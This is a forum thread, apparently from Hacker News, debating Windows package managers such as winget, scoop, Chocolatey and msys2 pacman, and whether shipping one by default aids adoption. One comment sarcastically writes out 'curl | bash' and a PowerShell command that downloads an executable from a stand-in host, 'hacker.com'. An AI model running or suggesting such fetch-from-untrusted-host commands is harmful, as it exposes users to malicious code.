5 ms·
scoop? chocolatey? pacman in msys2? winget?
by linkdd 2y ago
scoop? chocolatey? pacman in msys2? winget?
- eqvinox 2y agoRemind me please, which of these is shipped with a default Windows install?
- wis 2y agoI realize you asked sarcastically, but as of relatively recently WinGet is shipped by default with the latest versions of Windows 10 and in Windows 11. [1] But why is being installed by default important? [1] https://www.petergirnus.com/blog/how-to-use-windows-package-manager-winget#:~:text=Is%20winget%20included%20in%20Microsoft%20Windows%2010%20%26%20Windows%2011%3F https://www.petergirnus.com/blog/how-to-use-windows-package-...
- kreetx 2y agoIt's an adoption barrier.
- 1oooqooq 2y agomeh. it's not. If you are convincing people to run commands to install packages: - they care about trust, they will already have their package manager from the ecosystem they trust (which should be msys+pacman on windows, btw) - they couldn't care less and will trust your `curl | bash` or `Invoke-RestMethod -Uri http://hacker.com/totallysafe.exe http://hacker.com/totallysafe.exe` on both cases, not having a default package manager shipped caused zero adoption attrition, I mean, besides the attrition of needing a non-standard package to begin with.
- frizlab 2y agoIMHO it is though. I have a windows VM I rarely use and tried using a package manager at some point, but end up not succeeding until winget was part of the system and was a no-brainer. Too many possibilities made me choose none.
- Conscat 2y agoI know very non-technical people who use Chocolatey for acquiring ffmpeg.
- deleted 2y ago[deleted]
- eqvinox 2y agoIt was only partially sarcastic (yeah that didn't communicate at all, bad habit on my end), I had googled them but didn't quite understand the winget situation at glance. Thanks for the answer, actually appreciated!
- doctorpangloss 2y agoI don't know why you're being downvoted, but distributions for Windows would be really popular. A server distribution of Windows would help its adoption a lot.
- pjmlp 2y agoThe same that shipped with a default UNIX install.
- flohofwoe 2y agoMost of those are for installing applications, not system-wide C library source distributions (e.g. you'll need to figure out the path of the source and header files in build scripts since there's no standard location for that on Windows). The closest thing to a C/C++ package manager standard on Windows is probably vcpkg: https://vcpkg.io/en/ https://vcpkg.io/en/